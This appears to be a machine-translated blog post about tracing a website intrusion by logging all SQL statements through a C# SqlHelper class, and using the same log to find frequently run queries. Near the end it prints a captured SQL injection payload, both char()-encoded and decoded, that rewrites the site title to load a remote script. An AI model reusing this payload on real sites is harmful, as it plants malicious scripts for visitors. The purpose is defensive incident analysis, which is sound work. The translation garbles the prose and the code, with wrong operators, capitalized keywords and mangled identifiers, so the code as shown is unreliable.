Record a successful SQL Injection Intrusion Detection with SQL Performance Optimization

However, it would be very painful for you to take over a second-class disability website and ask you to make a revision on the website. You cannot overturn the revision and can only gradually replace the old program, for example, the problem I encountered:
Question 1.
The boss told you that the website had been completed before, and there was no Trojan Horse. Why did you come, there would be a Trojan horse. Let alone it first, and solve the problem quickly. I am completely speechless, however, if you quarrel, it turns out that you are just as ignorant as the boss. Together with evidence and fact analysis, the rest of the company will be able to prove that the company's website is not your fault.
If I have carefully checked the website directory, I will delete the network horse Uploaded By fck, fixed the fck upload vulnerability, and noted down this Fckeditor Usage Note. In fact, many people have encountered and solved this problem, it is a small problem, but it makes your boss understand that it is more painful to solve the vulnerability problem. What I want to explain is a sweat, I hate to call all the technical skills of the company to show them what a trojan is and what a pony is, and then demonstrate how to upload a Trojan, grandma's, and the popularity of hacker tutorials.
Question 2.
The website encountered another problem. The last problem was solved for only two months, and the website was hacked and infected. If the boss had to say this time that I had a problem, he would leave immediately, that's why people who do not know more about technology can't talk to each other, or even talk to your boss about it.
But what's terrible is that the website is a second-class disability of previous technology development. It was modified on another cms. I must ensure that the old modules can be used while the website is being developed, the bottom layer of the website is updated gradually. However, when there are so many pages, it is difficult for you to detect vulnerabilities on that page one by one. If you write the following detection code, I did not expect this to be done simply, and you can use this method to optimize your SQL.
Step 1 create an SQL log table Copy codeThe Code is as follows: create table [dbo]. [my_sqllog] (
[Id] [bigint] IDENTITY (1, 1) not null,
[Hit] [bigint] NULL,
[Sqltext] [varchar] (max) COLLATE Chinese_PRC_CI_AS NULL,
[Paramdetails] [varchar] (max) COLLATE Chinese_PRC_CI_AS NULL,
[Begintime] [datetime] NULL,
[Endtime] [datetime] NULL,
[Fromurl] [varchar] (max) COLLATE Chinese_PRC_CI_AS NULL,
[Ip] [varchar] (20) COLLATE Chinese_PRC_CI_AS NULL,
[Lastelapsedtime] [bigint] NULL,
CONSTRAINT [PK_my_sqllog] PRIMARY KEY CLUSTERED
(
[Id] ASC
) WITH (IGNORE_DUP_KEY = OFF) ON [PRIMARY]
) ON [PRIMARY]

Records the SQL statement, the number of times the SQL statement is executed, the parameters and values, the record start time, end time, from which page, ip address, and the statement execution time (currently useless)
Step 2 Write the record code in sqlhelper
The two methods can be written as private, but the sqlhelper class used by the second-class website in other places will directly call the method of the sqlhelper class through reasonable optimization.
Code 1: insert logsCopy codeThe Code is as follows: public static int ExecuteSqlLog (CommandType commandType, string commandText, params DbParameter [] cmdParams)
{
# Region parameter Processing
String colums = "";
String dbtypes = "";
String values = "";
String paramdetails = "";
If (partition Params! = Null & callback Params. Length> 0)
{
Foreach (DbParameter param in each Params)
{
If (param = null)
{
Continue;
}
Colums + = param. ParameterName + "";
Dbtypes + = param. DbType + "";
Values + = param. Value + ";";
}
Paramdetails = string. Format ("{0}, {1}, {2}", colums, dbtypes, values );
}
String fromurl = "";
If (System. Web. HttpContext. Current! = Null)
{
Fromurl = System. Web. HttpContext. Current. Request. Url. ToString ();
}
// CommandText = commandText. Replace ("'", "'"). Replace (";",";");
SqlParameter [] parameters = new SqlParameter []
{
New SqlParameter ("@ hit", 1 ),
New SqlParameter ("@ sqltext", commandText ),
New SqlParameter ("@ paramdetails", paramdetails ),
New SqlParameter ("@ begintime", DateTime. Now ),
New SqlParameter ("@ endtime", DateTime. Now ),
New SqlParameter ("@ fromurl", fromurl ),
New SqlParameter ("@ ip", Web. PressRequest. GetIP ()),
New SqlParameter ("@ lastelapsedtime", 0 ),
};
# Endregion
Using (DbConnection connection = Factory. CreateConnection ())
{
Connection. ConnectionString = GetRealConnectionString (commandText); // ConnectionString;
String SQL = "";
// Execute the DbCommand command and return the result.
Int id =
Utils. TypeConverter. ObjectToInt (ExecuteScalarLog (CommandType. Text,
"Select top 1 id from my_sqllog where sqltext = @ sqltext ",
New SqlParameter ("@ sqltext", commandText )));
If (id> 0)
{
SQL = "update my_sqllog set hit = hit + 1, ip = @ ip, endtime = @ endtime, fromurl = @ fromurl where id =" + id;
}
Else
{
SQL = "insert into my_sqllog (hit, sqltext, paramdetails, begintime, endtime, fromurl, ip, lastelapsedtime) values (@ hit, @ sqltext, @ paramdetails, @ begintime, @ endtime, @ fromurl, @ ip, @ lastelapsedtime )";
}
// Create the DbCommand command and perform preprocessing
DbCommand cmd = Factory. CreateCommand ();
Bool mustCloseConnection = false;
PrepareCommand (cmd, connection, (DbTransaction) null, commandType, SQL, parameters, out mustCloseConnection );
// Execute the DbCommand command and return the result.
Int retval = cmd. ExecuteNonQuery ();
// Clear the parameters for reuse.
Cmd. Parameters. Clear ();
If (mustCloseConnection)
Connection. Close ();
Return retval;
}
}

Code 2: Determine whether the SQL statement existsCopy codeThe Code is as follows: private static object ExecuteScalarLog (CommandType commandType, string commandText, params DbParameter [] commandParameters)
{
If (ConnectionString = null | ConnectionString. Length = 0) throw new ArgumentNullException ("ConnectionString ");
// Create and open the database connection object, and release the object after the operation is completed.
Using (DbConnection connection = Factory. CreateConnection ())
{
If (connection = null) throw new ArgumentNullException ("connection ");
// Connection. Close ();
Connection. ConnectionString = GetRealConnectionString (commandText );
Connection. Open ();
// Create the DbCommand command and perform preprocessing
DbCommand cmd = Factory. CreateCommand ();
Bool mustCloseConnection = false;
PrepareCommand (cmd, connection, (DbTransaction) null, commandType, commandText, commandParameters, out mustCloseConnection );
// Execute the DbCommand command and return the result.
Object retval = cmd. ExecuteScalar ();
// Clear the parameters for reuse.
Cmd. Parameters. Clear ();
If (mustCloseConnection)
Connection. Close ();
Return retval;
}
}

Part 3 Add the following code to each of your SQL statement execution methods, including ExecuteScalar, ExecuteReader, and ExecuteNonQuery.Copy codeThe Code is as follows: // log record control is performed before SQL Execution.
Int log = ExecuteSqlLog (CommandType. Text, commandText, commandParameters );

Sample Code:Copy codeThe Code is as follows: public static object ExecuteScalar (DbConnection connection, CommandType commandType, string commandText, params DbParameter [] commandParameters)
{
If (connection = null) throw new ArgumentNullException ("connection ");
// Connection. Close ();
Connection. ConnectionString = GetRealConnectionString (commandText );
Connection. Open ();
// Create the DbCommand command and perform preprocessing
DbCommand cmd = Factory. CreateCommand ();
Bool mustCloseConnection = false;
PrepareCommand (cmd, connection, (DbTransaction) null, commandType, commandText, commandParameters, out mustCloseConnection );
// Log record operation before SQL Execution
Int log = ExecuteSqlLog (CommandType. Text, commandText, commandParameters );
// Execute the DbCommand command and return the result.
Object retval = cmd. ExecuteScalar ();
// Clear the parameters for reuse.
Cmd. Parameters. Clear ();
If (mustCloseConnection)
Connection. Close ();
Return retval;
}

Then you will find that the entry to the intrusion is recorded, and the SQL statements injected are constructed in the following box.

The SQL statement is constructed as follows:

39191 + update + my_websetting + set + websitetitle = REPLACE (cast (websitetitle + as + varchar (8000), cast (char (60) + char (47) + char (116) + char (105) + char (116) + char (108) + char (101) + char (62) + char (60) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (32) + char (115) + char (114) + char (99) + char (61) + char (104) + char (116) + char (116) + char (112) + char (58) + char (47) + char (47) + char (100) + char (102) + char (114) + char (103) + char (99) + char (99) + char (46) + char (99) + char (111) + char (109) + char (47) + char (117) + char (114) + char (46) + char (112) + char (104) + char (112) + char (62) + char (60) + char (47) + char (115) + char (99) + char (114) + char (105) + char (112) + char (116) + char (62) + as + varchar (8000), cast (char (32) + as + varchar (8 )))--
After transcoding, it becomes like this:

Update my_websetting set websitetitle = REPLACE (cast (websitetitle as varchar (8000), websitetitle + '</title> <script src = http://jb51.net/ur.php> </script> ')
This is the trojan address. If it's okay, stop it.

Summary:
Now that you know the entry, you will know how to remedy it. If you filter out all the string-type filters, the int type must be int type. Do not let the database implicitly convert it for you. Through this SQL log record, you should find that the hit is still valuable.
Select top 100 * from my_sqllog order by hit desc
You will find that so many SQL statements you have written are actually spam. if conditions permit, why not store them in the cache. So the SQL statements I wrote later are basically not in the top 100.
I hope that the above intrusion methods will not be used by students who have just learned to be programmers to bully small websites.
Author: jqbird